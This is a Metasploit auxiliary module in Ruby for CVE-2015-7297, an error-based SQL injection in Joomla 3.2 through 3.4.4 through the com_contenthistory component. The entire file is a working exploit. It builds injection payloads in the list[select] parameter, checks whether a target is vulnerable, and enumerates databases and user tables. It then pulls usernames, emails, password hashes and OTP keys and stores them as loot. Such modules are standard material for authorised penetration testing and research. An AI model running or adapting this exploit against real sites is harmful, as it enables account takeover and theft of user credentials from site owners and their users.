##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Joomla com_contenthistory Error-Based SQL Injection',
      'Description'    => %q{
        This module exploits a SQL injection vulnerability in Joomla versions 3.2
        through 3.4.4 in order to either enumerate usernames and password hashes.
      },
      'References'     =>
        [
          ['CVE', '2015-7297'],
          ['URL', 'https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/joomla-sql-injection-vulnerability-exploit-results-in-full-administrative-access/']
        ],
      'Author'         =>
        [
          'Asaf Orpani', # discovery
          'bperry',      # metasploit module
          'Nixawk'       # module review
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => '2015-10-22'
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/'])
      ])
  end

  def check
    flag = Rex::Text.rand_text_alpha(8)
    lmark = Rex::Text.rand_text_alpha(5)
    rmark = Rex::Text.rand_text_alpha(5)

    payload = 'AND (SELECT 8146 FROM(SELECT COUNT(*),CONCAT('
    payload << "0x#{lmark.unpack('H*')[0]},"
    payload << "(SELECT 0x#{flag.unpack('H*')[0]}),"
    payload << "0x#{rmark.unpack('H*')[0]},"
    payload << 'FLOOR(RAND(0)*2)'
    payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'

    res = sqli(payload)

    if res && res.code == 500 && res.body =~ /#{lmark}#{flag}#{rmark}/
      Msf::Exploit::CheckCode::Vulnerable
    else
      Msf::Exploit::CheckCode::Safe
    end
  end

  def request(query, payload, lmark, rmark)
    query = "#{payload}" % query
    res = sqli(query)

    # Error based SQL Injection
    if res && res.code == 500 && res.body =~ /#{lmark}(.*)#{rmark}/
      $1
    end
  end

  def query_databases(payload, lmark, rmark)
    dbs = []

    query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) '
    query << 'FROM INFORMATION_SCHEMA.SCHEMATA)'

    dbc = request(query, payload, lmark, rmark)

    query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) '
    query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)'

    0.upto(dbc.to_i - 1) do |i|
      dbname = request(query_fmt % i, payload, lmark, rmark)
      dbs << dbname
      vprint_good(dbname)
    end

    %w(performance_schema information_schema mysql).each do |dbname|
      dbs.delete(dbname) if dbs.include?(dbname)
    end

    dbs
  end

  def query_tables(database, payload, lmark, rmark)
    tbs = []

    query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) '
    query << 'FROM INFORMATION_SCHEMA.TABLES '
    query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))"

    tbc = request(query, payload, lmark, rmark)

    query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) '
    query_fmt << 'FROM INFORMATION_SCHEMA.TABLES '
    query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) "
    query_fmt << 'LIMIT %d,1)'

    vprint_status('tables in database: %s' % database)
    0.upto(tbc.to_i - 1) do |i|
      tbname = request(query_fmt % i, payload, lmark, rmark)
      vprint_good(tbname)
      tbs << tbname if tbname =~ /_users$/
    end

    tbs
  end

  def query_columns(database, table, payload, lmark, rmark)
    cols = []
    query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})"

    colc = request(query, payload, lmark, rmark)
    vprint_status(colc)

    valid_cols = [   # joomla_users
      'activation',
      'block',
      'email',
      'id',
      'lastResetTime',
      'lastvisitDate',
      'name',
      'otep',
      'otpKey',
      'params',
      'password',
      'registerDate',
      'requireReset',
      'resetCount',
      'sendEmail',
      'username'
    ]

    query_fmt = '(SELECT MID((IFNULL(CAST(%s AS CHAR),0x20)),%d,54) '
    query_fmt << "FROM #{database}.#{table} ORDER BY id LIMIT %d,1)"

    0.upto(colc.to_i - 1) do |i|
      record = {}
      valid_cols.each do |col|
        l = 1
        record[col] = ''
        loop do
          value = request(query_fmt % [col, l, i], payload, lmark, rmark)
          break if value.blank?
          record[col] << value
          l += 54
        end
      end
      cols << record
      vprint_status(record.to_s)
    end

    cols
  end

  def run
    lmark = Rex::Text.rand_text_alpha(5)
    rmark = Rex::Text.rand_text_alpha(5)

    payload = 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
    payload << "0x#{lmark.unpack('H*')[0]},"
    payload << '%s,'
    payload << "0x#{rmark.unpack('H*')[0]},"
    payload << 'FLOOR(RAND(0)*2)'
    payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'

    dbs = query_databases(payload, lmark, rmark)
    dbs.each do |db|
      tables = query_tables(db, payload, lmark, rmark)
      tables.each do |table|
        cols = query_columns(db, table, payload, lmark, rmark)
        next if cols.blank?
        path = store_loot(
          'joomla.users',
          'text/plain',
          datastore['RHOST'],
          cols.to_json,
          'joomla.users')
        print_good('Saved file to: ' + path)
      end
    end
  end

  def sqli(payload)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => {
        'option' => 'com_contenthistory',
        'view' => 'history',
        'list[ordering]' => '',
        'item_id' => 1,
        'type_id' => 1,
        'list[select]' => '1 ' + payload
      }
    )
  end
end
